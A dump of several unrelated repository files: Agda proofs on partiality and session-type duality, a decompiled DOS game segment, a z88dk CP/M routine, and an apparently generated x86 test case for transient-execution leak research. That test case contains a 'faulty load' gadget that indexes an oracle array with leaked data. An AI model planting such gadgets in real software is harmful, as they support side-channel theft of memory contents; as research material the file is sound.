f (now x) ∎
; pl = λ s p →
⨆ s >>=′ (f ∘ return) ≡⟨ ⨆->>= ⟩
⨆ ((f ∘ return) ∗-inc s) ≡⟨ cong ⨆ (_↔_.to equality-characterisation-increasing λ n →
(f ∘ return) ∗-inc s [ n ] ≡⟨ p n ⟩∎
[ f⊑ $ s ]-inc [ n ] ∎) ⟩
⨆ [ f⊑ $ s ]-inc ≡⟨ sym $ ω-continuous fs s ⟩∎
f (⨆ s) ∎
; pp = λ _ → ⊥-is-set
})
where
f⊑ = monotone-function fs
f = function fs
-- Strict ω-continuous functions from A ⊥ to B ⊥ are isomorphic to
-- functions from A to B ⊥.
partial↔strict :
∀ {a b} {A : Type a} {B : Type b} →
(A → B ⊥) ↔ [ A ⊥→ B ⊥]-strict
partial↔strict {a} = record
{ surjection = record
{ logical-equivalence = record
{ to = λ f → record
{ ω-continuous-function = f ∗
; strict =
never >>=′ f ≡⟨ never->>= ⟩∎
never ∎
}
; from = λ f x → function f (return x)
}
; right-inverse-of = λ f →
_↔_.to equality-characterisation-strict λ x →
x >>=′ (function f ∘ return) ≡⟨ >>=-∘-return f x ⟩∎
function f x ∎
}
; left-inverse-of = λ f → ⟨ext⟩ λ x →
return x >>=′ f ≡⟨ Monad-laws.left-identity x f ⟩∎
f x ∎
}
|
ZORTON.reko/ZORTON_0E31.asm | 0xLiso/dePIXELator | 0 | 101482 | <gh_stars>0
;;; Segment 0E31 (0E31:0000)
0E31:0000 5D CB ].
;; fn0E31_0002: 0E31:0002
;; Called from:
;; 226D:03BC (in fn226D_00F9)
fn0E31_0002 proc
enter 8h,0h
push dword ptr [bp+6h]
call far 0800h:0894h
add sp,4h
push 1808100h
push dword ptr [bp+6h]
call far 0800h:3615h
add sp,8h
mov [bp-2h],ax
cmp word ptr [bp-2h],0FFh
jnz 0039h
l0E31_002D:
push ds
push 5E6h
call far 263Fh:03F3h
add sp,4h
l0E31_0039:
push 2h
push ss
lea ax,[bp+0Eh]
push ax
push word ptr [bp-2h]
call far 0800h:4655h
add sp,8h
push 2h
push ss
lea ax,[bp+10h]
push ax
push word ptr [bp-2h]
call far 0800h:4655h
add sp,8h
mov ax,[bp+0Ch]
imul ax,ax,140h
add ax,[bp+0Ah]
mov word ptr [bp-4h],0A000h
mov [bp-6h],ax
mov word ptr [bp-8h],0h
jmp 0090h
l0E31_0076:
push word ptr [bp+0Eh]
push dword ptr [bp-6h]
push word ptr [bp-2h]
call far 0800h:4655h
add sp,8h
add word ptr [bp-6h],140h
inc word ptr [bp-8h]
l0E31_0090:
mov ax,[bp-8h]
cmp ax,[bp+10h]
jc 0076h
l0E31_0098:
push word ptr [bp-2h]
call far 0800h:2A93h
pop cx
leave
retf
0E31:00A3 C8 1C 00 00 C7 46 F6 00 00 C7 46 F4 00 .....F....F..
0E31:00B0 00 B8 62 28 8E C0 26 A0 00 00 88 46 E7 B8 62 28 ..b(..&....F..b(
0E31:00C0 8E C0 26 C6 06 00 00 20 68 01 80 66 FF 76 06 9A ..&.... h..f.v..
0E31:00D0 15 36 00 08 83 C4 06 89 46 E4 6A 02 16 8D 46 FE .6......F.j...F.
0E31:00E0 50 FF 76 E4 9A 87 3C 00 08 83 C4 08 6A 02 16 8D P.v...<.....j...
0E31:00F0 46 FC 50 FF 76 E4 9A 87 3C 00 08 83 C4 08 6A 00 F.P.v...<.....j.
0E31:0100 8B 46 FE F7 6E FC 05 04 00 66 0F BF C0 66 50 FF .F..n....f...fP.
0E31:0110 76 E4 9A AB 06 00 08 83 C4 08 6A 02 16 8D 46 FA v.........j...F.
0E31:0120 50 FF 76 E4 9A 87 3C 00 08 83 C4 08 6A 02 16 8D P.v...<.....j...
0E31:0130 46 F8 50 FF 76 E4 9A 87 3C 00 08 83 C4 08 8B 46 F.P.v...<......F
0E31:0140 FA F7 6E F8 05 04 00 66 0F BF C0 66 50 9A 38 1D ..n....f...fP.8.
0E31:0150 00 08 83 C4 04 89 56 F2 89 46 F0 8B 46 FA F7 6E ......V..F..F..n
0E31:0160 F8 05 04 00 66 0F BF C0 66 50 9A 38 1D 00 08 83 ....f...fP.8....
0E31:0170 C4 04 89 56 EE 89 46 EC 66 83 7E F0 00 74 07 66 ...V..F.f.~..t.f
0E31:0180 83 7E EC 00 75 0F 66 6A 00 1E 68 0B 06 9A 3F 04 .~..u.fj..h...?.
0E31:0190 3F 26 83 C4 08 6A 00 8B 46 FE F7 6E FC 05 04 00 ?&...j..F..n....
0E31:01A0 66 0F BF C0 66 50 FF 76 E4 9A AB 06 00 08 83 C4 f...fP.v........
0E31:01B0 08 8B 46 FA F7 6E F8 05 04 00 50 66 FF 76 F0 FF ..F..n....Pf.v..
0E31:01C0 76 E4 9A 87 3C 00 08 83 C4 08 8B 46 FA F7 6E F8 v...<......F..n.
0E31:01D0 05 04 00 50 66 FF 76 EC FF 76 E4 9A 87 3C 00 08 ...Pf.v..v...<..
0E31:01E0 83 C4 08 FF 76 E4 9A 93 2A 00 08 59 FA 9A E8 01 ....v...*..Y....
0E31:01F0 25 24 FB FF 76 FC FF 76 FE FF 76 0C FF 76 0A 1E %$..v..v..v..v..
0E31:0200 68 18 06 0E E8 FB FD 83 C4 0C 66 FF 76 06 FF 76 h.........f.v..v
0E31:0210 0C FF 76 0A 9A 11 07 76 24 83 C4 08 FA 9A 86 02 ..v....v$.......
0E31:0220 25 24 FB 8B 46 0A 03 46 0E A3 A6 05 8B 46 0C 03 %$..F..F.....F..
0E31:0230 46 10 A3 A8 05 8B 46 0A 03 46 0E 03 46 FA A3 AA F.....F..F..F...
0E31:0240 05 8B 46 0C 03 46 10 03 46 F8 A3 AC 05 8B 46 0A ..F..F..F.....F.
0E31:0250 03 46 12 A3 C6 05 8B 46 0C 03 46 14 A3 C8 05 8B .F.....F..F.....
0E31:0260 46 0A 03 46 12 03 46 FA A3 CA 05 8B 46 0C 03 46 F..F..F.....F..F
0E31:0270 14 03 46 F8 A3 CC 05 FA 9A E8 01 25 24 FB 66 6A ..F........%$.fj
0E31:0280 00 6A 00 1E 68 C6 05 6A 00 6A 00 6A 00 6A 00 6A .j..h..j.j.j.j.j
0E31:0290 00 9A 04 00 53 23 83 C4 14 FA 9A 86 02 25 24 FB ....S#.......%$.
0E31:02A0 E9 F7 00 9A 67 01 31 23 89 56 EA 89 46 E8 66 83 ....g.1#.V..F.f.
0E31:02B0 7E E8 00 75 03 E9 E2 00 C4 5E E8 26 8A 07 B4 00 ~..u.....^.&....
0E31:02C0 3D C8 00 74 08 3D C9 00 74 64 E9 B9 00 FA 9A E8 =..t.=..td......
0E31:02D0 01 25 24 FB B8 BA 28 8E C0 66 26 FF 36 80 AA 66 .%$...(..f&.6..f
0E31:02E0 FF 76 F0 8B 46 0C 03 46 10 50 8B 46 0A 03 46 0E .v..F..F.P.F..F.
0E31:02F0 50 9A 00 00 6E 21 83 C4 0C FA 9A 86 02 25 24 FB P...n!.......%$.
0E31:0300 C7 46 F4 01 00 C7 46 F6 01 00 B8 BA 28 8E C0 26 .F....F.....(..&
0E31:0310 C7 06 84 A1 28 00 9A 67 01 31 23 0B C2 75 F7 B8 ....(..g.1#..u..
0E31:0320 BA 28 8E C0 26 83 3E 84 A1 00 7F F3 EB 6C FA 9A .(..&.>......l..
0E31:0330 E8 01 25 24 FB B8 BA 28 8E C0 66 26 FF 36 80 AA ..%$...(..f&.6..
0E31:0340 66 FF 76 EC 8B 46 0C 03 46 14 50 8B 46 0A 03 46 f.v..F..F.P.F..F
0E31:0350 12 50 9A 00 00 6E 21 83 C4 0C FA 9A 86 02 25 24 .P...n!.......%$
0E31:0360 FB C7 46 F4 00 00 C7 46 F6 01 00 B8 BA 28 8E C0 ..F....F.....(..
0E31:0370 26 C7 06 84 A1 28 00 B8 BA 28 8E C0 26 83 3E 84 &....(...(..&.>.
0E31:0380 A1 00 7F F3 EB 14 C4 5E E8 66 26 FF 77 01 26 8A .......^.f&.w.&.
0E31:0390 07 50 9A BA 00 31 23 83 C4 06 83 7E F6 00 75 03 .P...1#....~..u.
0E31:03A0 E9 00 FF FA 9A E8 01 25 24 B8 BA 28 8E C0 66 26 .......%$..(..f&
0E31:03B0 C7 06 2C 30 00 00 00 00 FB 1E 68 18 06 FF 76 0C ..,0......h...v.
0E31:03C0 FF 76 0A 9A 30 06 76 24 83 C4 08 FA 9A 86 02 25 .v..0.v$.......%
0E31:03D0 24 FB 66 FF 76 F0 9A 24 1C 00 08 83 C4 04 66 FF $.f.v..$......f.
0E31:03E0 76 EC 9A 24 1C 00 08 83 C4 04 1E 68 18 06 9A 94 v..$.......h....
0E31:03F0 08 00 08 83 C4 04 B8 62 28 8A 56 E7 8E C0 26 88 .......b(.V...&.
0E31:0400 16 00 00 8B 46 F4 C9 CB 66 6A 00 6A C8 9A BA 00 ....F...fj.j....
0E31:0410 31 23 83 C4 06 CB 66 6A 00 6A C9 9A BA 00 31 23 1#....fj.j....1#
|
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_21829_1864.asm | ljhsiun2/medusa | 9 | 175360 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r8
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0xa432, %r9
nop
dec %r11
movb $0x61, (%r9)
sub %r9, %r9
lea addresses_WC_ht+0x14af2, %rax
inc %r8
movw $0x6162, (%rax)
nop
nop
sub %rax, %rax
lea addresses_normal_ht+0x9fb2, %rsi
lea addresses_WC_ht+0x4232, %rdi
clflush (%rsi)
clflush (%rdi)
inc %r9
mov $93, %rcx
rep movsq
nop
nop
nop
inc %rbp
lea addresses_WT_ht+0x18012, %rsi
lea addresses_D_ht+0x2562, %rdi
nop
xor %r11, %r11
mov $63, %rcx
rep movsw
nop
nop
sub $32583, %r11
lea addresses_WT_ht+0x1a232, %rdi
nop
nop
nop
xor %rsi, %rsi
movl $0x61626364, (%rdi)
nop
nop
nop
nop
nop
add $30348, %rdi
lea addresses_WT_ht+0x1772, %rsi
lea addresses_WC_ht+0x16632, %rdi
nop
nop
nop
nop
mfence
mov $45, %rcx
rep movsl
nop
nop
cmp %rdx, %rdx
lea addresses_UC_ht+0x1232, %rbp
clflush (%rbp)
nop
sub %rdx, %rdx
movb $0x61, (%rbp)
nop
nop
nop
cmp $51429, %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %r8
push %r9
push %rbp
push %rdi
// Store
lea addresses_US+0x8932, %r9
nop
nop
nop
nop
nop
and $23102, %r14
mov $0x5152535455565758, %rbp
movq %rbp, %xmm6
movups %xmm6, (%r9)
nop
nop
nop
add $1717, %r14
// Store
lea addresses_US+0x1032, %r13
nop
nop
nop
nop
sub $14182, %r8
mov $0x5152535455565758, %r14
movq %r14, (%r13)
nop
nop
and %r14, %r14
// Store
lea addresses_D+0x314a, %r9
nop
nop
cmp %rdi, %rdi
mov $0x5152535455565758, %r13
movq %r13, %xmm1
movntdq %xmm1, (%r9)
nop
nop
nop
nop
sub %rdi, %rdi
// Faulty Load
lea addresses_normal+0xea32, %r8
nop
nop
nop
nop
nop
cmp %r11, %r11
mov (%r8), %rdi
lea oracles, %rbp
and $0xff, %rdi
shlq $12, %rdi
mov (%rbp,%rdi,1), %rdi
pop %rdi
pop %rbp
pop %r9
pop %r8
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_US'}}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_US'}}
{'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 16, 'NT': True, 'type': 'addresses_D'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': True, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': True, 'same': False, 'size': 2, 'NT': True, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': True, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 4, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 4, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_UC_ht'}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
libsrc/cpm/a_statusline.asm | jpoikela/z88dk | 640 | 178789 | ;
; Small C+ Runtime Library
;
; CP/M functions
;
; CPM Plus "userf" custom Amstrad calls, for Amstrad CPC & PCW and ZX Spectrum +3
;
; $Id: a_statusline.asm,v 1.4 2017-01-02 20:06:48 aralbrec Exp $
;
SECTION code_clib
PUBLIC a_statusline
PUBLIC _a_statusline
EXTERN subuserf
INCLUDE "target/cpc/def/amstrad_userf.def"
a_statusline:
_a_statusline:
xor a
or l
jr z,is_off
ld a,255
is_off:
call subuserf
defw TE_STL_ON_OFF
ret
|
src/Duality.agda | peterthiemann/dual-session | 1 | 4366 | {-# OPTIONS --rewriting #-}
module Duality where
open import Data.Bool
open import Data.Nat hiding (compare)
open import Data.Nat.Properties
open import Data.Fin hiding (_+_)
open import Data.Product
open import Function
open import Relation.Binary.PropositionalEquality hiding (Extensionality)
open import Agda.Builtin.Equality.Rewrite
-- variables
variable
n m : ℕ
open import Types.Direction
open import Auxiliary.Extensionality
open import Auxiliary.RewriteLemmas
----------------------------------------------------------------------
-- session types coinductively
import Types.COI as COI
----------------------------------------------------------------------
-- session type inductively with explicit rec
import Types.IND as IND
----------------------------------------------------------------------
-- provide an embedding of IND to COI
open COI
open IND hiding (_≈_ ; _≈'_ ; ≈-refl ; ≈'-refl ; ≈ᵗ-refl)
ind2coiT : IND.Type 0 → COI.Type
ind2coiS : IND.SType 0 → COI.SType
ind2coiG : IND.GType 0 → COI.STypeF COI.SType
ind2coiT TUnit = TUnit
ind2coiT TInt = TInt
ind2coiT (TPair it it₁) = TPair (ind2coiT it) (ind2coiT it₁)
ind2coiT (TChan st) = TChan (ind2coiS st)
ind2coiG (transmit d t ist) = transmit d (ind2coiT t) (ind2coiS ist)
ind2coiG (choice d m alt) = choice d m (ind2coiS ∘ alt)
ind2coiG end = end
SType.force (ind2coiS (gdd gst)) = ind2coiG gst
SType.force (ind2coiS (rec gst)) = ind2coiG (st-substG gst zero (rec gst))
----------------------------------------------------------------------
{-# TERMINATING #-}
subst-weakenS : (s : IND.SType (suc n)) (i : Fin (suc n)) (j : Fin (suc n)) (le : Data.Fin._≤_ j i) (s0 : IND.SType 0)
→ st-substS (weaken1'S (inject₁ j) s) (suc i) s0 ≡ weaken1'S j (st-substS s i s0)
subst-weakenG : (g : IND.GType (suc n)) (i : Fin (suc n)) (j : Fin (suc n)) (le : Data.Fin._≤_ j i) (s0 : IND.SType 0)
→ st-substG (weaken1'G (inject₁ j) g) (suc i) s0 ≡ weaken1'G j (st-substG g i s0)
subst-weakenT : (t : IND.Type (suc n)) (i : Fin (suc n)) (j : Fin (suc n)) (le : Data.Fin._≤_ j i) (s0 : IND.SType 0)
→ st-substT (weaken1'T (inject₁ j) t) (suc i) s0 ≡ weaken1'T j (st-substT t i s0)
subst-weakenS (gdd gst) i j le s0 = cong gdd (subst-weakenG gst i j le s0)
subst-weakenS (rec gst) i j le s0 = cong rec (subst-weakenG gst (suc i) (suc j) (s≤s le) s0)
subst-weakenS (var p x) zero zero le s0 = refl
subst-weakenS {suc n} (var p x) (suc i) zero le s0 = refl
subst-weakenS {suc n} (var p zero) (suc i) (suc j) le s0 = refl
subst-weakenS {suc n} (var p (suc x)) (suc i) (suc j) (s≤s le) s0 rewrite (weak-weakS j zero z≤n (st-substS (var p x) i s0))
= cong (weaken1'S zero) (subst-weakenS (var p x) i j le s0)
subst-weakenG (transmit d t s) i j le s0 = cong₂ (transmit d) (subst-weakenT t i j le s0) (subst-weakenS s i j le s0)
subst-weakenG (choice d m alt) i j le s0 = cong (choice d m) (ext (λ m' → subst-weakenS (alt m') i j le s0 ))
subst-weakenG end i j le s0 = refl
subst-weakenT TUnit i j le s0 = refl
subst-weakenT TInt i j le s0 = refl
subst-weakenT (TPair t t₁) i j le s0 = cong₂ TPair (subst-weakenT t i j le s0) (subst-weakenT t₁ i j le s0)
subst-weakenT (TChan s) i j le s0 = cong TChan (subst-weakenS s i j le s0)
{-# TERMINATING #-}
subst-swap-dualT : ∀ {ist} → (t : IND.Type (suc n)) (i : Fin (suc n)) →
st-substT t i ist ≡ st-substT (swap-polT i t) i (IND.dualS ist)
subst-swap-dualS : ∀ {ist} → (st : IND.SType (suc n)) (i : Fin (suc n)) →
st-substS st i ist ≡ st-substS (swap-polS i st) i (IND.dualS ist)
subst-swap-dualG : ∀ {ist} → (gst : IND.GType (suc n)) (i : Fin (suc n)) →
st-substG gst i ist ≡ st-substG (swap-polG i gst) i (IND.dualS ist)
subst-swap-dualT TUnit i = refl
subst-swap-dualT TInt i = refl
subst-swap-dualT (TPair ty ty₁) i = cong₂ TPair (subst-swap-dualT ty i) (subst-swap-dualT ty₁ i)
subst-swap-dualT (TChan x) i = cong TChan (subst-swap-dualS x i)
subst-swap-dualS (gdd gst) i = cong gdd (subst-swap-dualG gst i)
subst-swap-dualS (rec gst) i = cong rec (subst-swap-dualG gst (suc i))
subst-swap-dualS {n} {ist} (var p zero) zero = cong (weakenS n) (dual-if-dual p ist)
subst-swap-dualS {suc n} (var p zero) (suc i) = refl
subst-swap-dualS {suc n} (var p (suc x)) zero = refl
subst-swap-dualS {suc n}{ist} (var p (suc x)) (suc i)
rewrite subst-weakenS (swap-polS i (var p x)) i zero z≤n (dualS ist)
= cong (weaken1'S zero) (subst-swap-dualS ((var p x)) i)
subst-swap-dualG (transmit d t s) i = cong₂ (transmit d) (subst-swap-dualT t i) (subst-swap-dualS s i)
subst-swap-dualG (choice d m alt) i = cong (choice d m) (ext (λ x → subst-swap-dualS (alt x) i))
subst-swap-dualG end i = refl
----------------------------------------------------------------------
swap-i-weakenS : (i : Fin (suc n)) (s : IND.SType n) → swap-polS i (weaken1'S i s) ≡ weaken1'S i s
swap-i-weakenG : (i : Fin (suc n)) (g : IND.GType n) → swap-polG i (weaken1'G i g) ≡ weaken1'G i g
swap-i-weakenT : (i : Fin (suc n)) (t : IND.TType n) → swap-polT i (weaken1'T i t) ≡ weaken1'T i t
swap-i-weakenS i (gdd gst) = cong gdd (swap-i-weakenG i gst)
swap-i-weakenS i (rec gst) = cong rec (swap-i-weakenG (suc i) gst)
swap-i-weakenS zero (var p zero) = refl
swap-i-weakenS (suc i) (var p zero) = refl
swap-i-weakenS zero (var p (suc x)) = refl
swap-i-weakenS (suc i) (var p (suc x)) = cong weaken1S (swap-i-weakenS i (var p x))
swap-i-weakenG i (transmit d t s) = cong₂ (transmit d) (swap-i-weakenT i t) (swap-i-weakenS i s)
swap-i-weakenG i (choice d m alt) = cong (choice d m) (ext (swap-i-weakenS i ∘ alt))
swap-i-weakenG i end = refl
swap-i-weakenT i TUnit = refl
swap-i-weakenT i TInt = refl
swap-i-weakenT i (TPair t₁ t₂) = cong₂ TPair (swap-i-weakenT i t₁) (swap-i-weakenT i t₂)
swap-i-weakenT i (TChan x) = cong TChan (swap-i-weakenS i x)
{-# TERMINATING #-}
subst-swapG : (ist : IND.SType 0) (i : Fin (suc (suc n))) (j : Fin′ i) (g : GType (suc (suc n))) →
st-substG (swap-polG (inject j) g) i ist ≡ swap-polG (inject! j) (st-substG g i ist)
subst-swapS : (ist : IND.SType 0) (i : Fin (suc (suc n))) (j : Fin′ i) (s : IND.SType (suc (suc n))) →
st-substS (swap-polS (inject j) s) i ist ≡ swap-polS (inject! j) (st-substS s i ist)
subst-swapT : (ist : IND.SType 0) (i : Fin (suc (suc n))) (j : Fin′ i) (g : IND.Type (suc (suc n))) →
st-substT (swap-polT (inject j) g) i ist ≡ swap-polT (inject! j) (st-substT g i ist)
subst-swapG ist i j (transmit d t s) = cong₂ (transmit d) (subst-swapT ist i j t) (subst-swapS ist i j s)
subst-swapG ist i j (choice d m alt) = cong (choice d m) (ext (λ x → subst-swapS ist i j (alt x)))
subst-swapG ist i j end = refl
subst-swapS ist i j (gdd gst) = cong gdd (subst-swapG ist i j gst)
subst-swapS ist i j (rec gst) = cong rec (subst-swapG ist (suc i) (suc j) gst)
subst-swapS{zero} ist zero () (var p zero)
subst-swapS {zero} ist (suc zero) zero (var p zero) = refl
subst-swapS {zero} ist (suc zero) zero (var p (suc x))
rewrite swap-i-weakenS zero (st-substS (var p x) zero ist) = refl
subst-swapS{suc n} ist (suc i) zero (var p zero) = refl
subst-swapS{suc n} ist (suc i) (suc j) (var p zero) = refl
subst-swapS{suc n} ist zero () (var p (suc x))
subst-swapS{suc n} ist (suc i) zero (var p (suc x))
rewrite swap-i-weakenS zero (st-substS (var p x) i ist) = refl
subst-swapS{suc n} ist (suc i) (suc j) (var p (suc x))
rewrite subst-weakenS (swap-polS (inject j) (var p x)) i zero z≤n ist
| swap-weakenS (inject! j) (st-substS (var p x) i ist)
= cong weaken1S (subst-swapS ist i j (var p x))
subst-swapT ist i j TUnit = refl
subst-swapT ist i j TInt = refl
subst-swapT ist i j (TPair t t₁) = cong₂ TPair (subst-swapT ist i j t) (subst-swapT ist i j t₁)
subst-swapT ist i j (TChan x) = cong TChan (subst-swapS ist i j x)
----------------------------------------------------------------------
dual-recT' : (t : TType (suc n)) (i : Fin (suc n)) (ist : IND.SType 0)
→ st-substT (swap-polT i t) i (dualS ist) ≡ st-substT t i ist
dual-recG' : (g : GType (suc n)) (i : Fin (suc n)) (ist : IND.SType 0)
→ st-substG (swap-polG i g) i (dualS ist) ≡ st-substG g i ist
dual-recS' : (s : IND.SType (suc n)) (i : Fin (suc n)) (ist : IND.SType 0)
→ st-substS (swap-polS i s) i (dualS ist) ≡ st-substS s i ist
dual-recT' TUnit i ist = refl
dual-recT' TInt i ist = refl
dual-recT' (TPair t t₁) i ist = cong₂ TPair (dual-recT' t i ist) (dual-recT' t₁ i ist)
dual-recT' (TChan s) i ist = cong TChan (dual-recS' s i ist)
dual-recG' (transmit d t s) i ist = cong₂ (transmit d) (dual-recT' t i ist) (dual-recS' s i ist)
dual-recG' (choice d m alt) i ist = cong (choice d m) (ext (λ m' → dual-recS' (alt m') i ist))
dual-recG' end i ist = refl
dual-recS' (gdd gst) i ist = cong gdd (dual-recG' gst i ist)
dual-recS' (rec gst) i ist = cong rec (dual-recG' gst (suc i) ist)
dual-recS' (var p zero) zero ist rewrite (dual-if-dual p ist) = refl
dual-recS' (var p (suc x)) zero ist = trivial-subst-var p x (dualS ist) (ist)
dual-recS' (var p zero) (suc i) ist = trivial-subst-var' p i (dualS ist) (ist)
dual-recS' (var p (suc x)) (suc i) ist rewrite (subst-swap-dualS{ist = ist} (var p (suc x)) (suc i))
= refl
----------------------------------------------------------------------
-- show that the dualS function is compatible with unfolding
-- that is
-- COI.dual ∘ ind2coi ≈ ind2coi ∘ IND.dual
{-# TERMINATING #-}
dual-lemmaS : (s : IND.SType (suc n)) (j : Fin (suc n)) (s0 : IND.SType 0)
→ st-substS (dualS s) j s0 ≡ dualS (st-substS s j s0)
dual-lemmaG : (g : IND.GType (suc n)) (j : Fin (suc n)) (s0 : IND.SType 0)
→ st-substG (dualG g) j s0 ≡ dualG (st-substG g j s0)
dual-lemmaS (gdd gst) j s0 = cong gdd (dual-lemmaG gst j s0)
dual-lemmaS (rec gst) j s0 rewrite (subst-swapG s0 (suc j) zero (dualG gst)) =
let rst = dual-lemmaG gst (suc j) s0 in cong rec (cong (swap-polG zero) rst)
dual-lemmaS {n} (var POS zero) zero s0 = sym (dual-weakenS' n s0)
dual-lemmaS {n} (var NEG zero) zero s0 rewrite (sym (dual-weakenS' n s0)) | (sym (dual-invS (weakenS n s0))) = refl
dual-lemmaS {suc n} (var POS zero) (suc j) s0 = refl
dual-lemmaS {suc n} (var NEG zero) (suc j) s0 = refl
dual-lemmaS {suc n} (var POS (suc x)) zero s0 = refl
dual-lemmaS {suc n} (var NEG (suc x)) zero s0 = refl
dual-lemmaS {suc n} (var POS (suc x)) (suc j) s0 rewrite (dual-weakenS zero (st-substS (var POS x) j s0)) = cong (weaken1'S zero) (dual-lemmaS (var POS x) j s0)
dual-lemmaS {suc n} (var NEG (suc x)) (suc j) s0 rewrite (dual-weakenS zero (st-substS (var NEG x) j s0)) = cong (weaken1'S zero) (dual-lemmaS (var NEG x) j s0)
dual-lemmaG (transmit d t s) j s0 = cong₂ (transmit (dual-dir d)) refl (dual-lemmaS s j s0)
dual-lemmaG (choice d m alt) j s0 = cong (choice (dual-dir d) m) (ext (λ m' → dual-lemmaS (alt m') j s0))
dual-lemmaG end j s0 = refl
----------------------------------------------------------------------
-- main result
